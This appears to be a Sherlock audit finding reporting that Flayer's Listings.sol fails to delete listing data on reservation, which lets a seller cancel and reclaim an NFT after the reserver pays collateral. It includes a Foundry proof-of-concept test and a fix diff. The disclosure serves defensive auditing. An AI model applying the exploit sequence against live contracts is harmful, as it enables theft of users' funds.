Clean Snowy Mustang

High

# Listing info is not deleted when a listing is reserved

## Summary
Listing info is not deleted when a listing is reserved.

## Vulnerability Detail

When a listing is reserved, the listing owner receives the collection tokens for the selling, and the user who reserves the listing will be created with a protected listing, the ERC721 item will still be escrowed in Locker contract after the protected listing is created.

During the process, protocol reduces the amount of listings to reflect the status change.

[Listings.sol#L724-L725](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L724-L725):
```solidity
            // Reduce the amount of listings
            unchecked { listingCount[_collection] -= 1; }
```

However, the listing info is not deleted, results in the old listing owner still owns the listing, and the owner can cancel the listing to receive the ERC721 item back.

Consider the following scenario:
1. Bob lists a ERC721 item;
2. The listing is reserved by Alice, Alice sends Bob collection tokens and pays some collaterals;
3. The listing is not deleted, Bob still owns the listing;
4. Bob cancels the listing and receives the ERC721 item back;
5. Alice essentially loses collaterals for nothing.

Please run the PoC in Listings.t.sol to verify:
```solidity
    function testAudit_TokenListingInfoNotDeletedWhenReserves() public {
        ICollectionToken collectionToken = locker.collectionToken(address(erc721a));

        address bob = makeAddr("Bob");
        uint256 tokenId = 888;
        erc721a.mint(bob, tokenId);

        Listings.Listing memory listing = IListings.Listing({
            owner: payable(bob),
            created: uint40(block.timestamp),
            duration: 7 days,
            floorMultiple: 200
        });

        // Bob creates a listing
        vm.startPrank(bob);
        erc721a.approve(address(listings), tokenId);
        IListings.CreateListing[] memory createListings = new IListings.CreateListing[](1);
        createListings[0] = IListings.CreateListing({
            collection: address(erc721a),
            tokenIds: _tokenIdToArray(tokenId),
            listing: listing
        });
        listings.createListings(createListings);
        vm.stopPrank();

        address alice = makeAddr("Alice");
        mintCollectionTokens(address(erc721a), alice, 1, 2);

        // Alice reserves Bob's listing
        vm.startPrank(alice);
        collectionToken.approve(address(listings), type(uint256).max);
        listings.reserve(address(erc721a), tokenId, 0.2 ether);
        vm.stopPrank();

        // Bob's listing info is not deleted, he still owns the listing
        listing = listings.listings(address(erc721a), tokenId);
        assertEq(listing.owner, bob);

        // Bob cancels the listing
        vm.startPrank(bob);
        collectionToken.approve(address(listings), type(uint256).max);
        listings.cancelListings(address(erc721a), _tokenIdToArray(tokenId), false);
        vm.stopPrank();

        // Bob receives ERC721 item back and earns 1 ether profit
        assertEq(erc721a.ownerOf(tokenId), bob);
        assertEq(collectionToken.balanceOf(bob), 1 ether);
    }
```

## Impact

User who reserves a listing will suffer a loss if the listing owner cancels the listing.

## Code Snippet

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690

## Tool used

Manual Review

## Recommendation

When a listing is reserved, the listing info should be deleted.

[Listings.sol#L706-L726](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L706-L726):
```diff
        if (oldListing.owner != address(0)) {
            // We can process a tax refund for the existing listing if it isn't a liquidation
            if (!_isLiquidation[_collection][_tokenId]) {
                (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
                if (_fees != 0) {
                    emit ListingFeeCaptured(_collection, _tokenId, _fees);
                }
            }

            // If the floor multiple of the original listings is different, then this needs
            // to be paid to the original owner of the listing.
            uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
            if (listingPrice > listingFloorPrice) {
                unchecked {
                    collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
                }
            }

            // Reduce the amount of listings
            unchecked { listingCount[_collection] -= 1; }

+           // Delete the token listing
+           delete _listings[_collection][_tokenId]
        }
```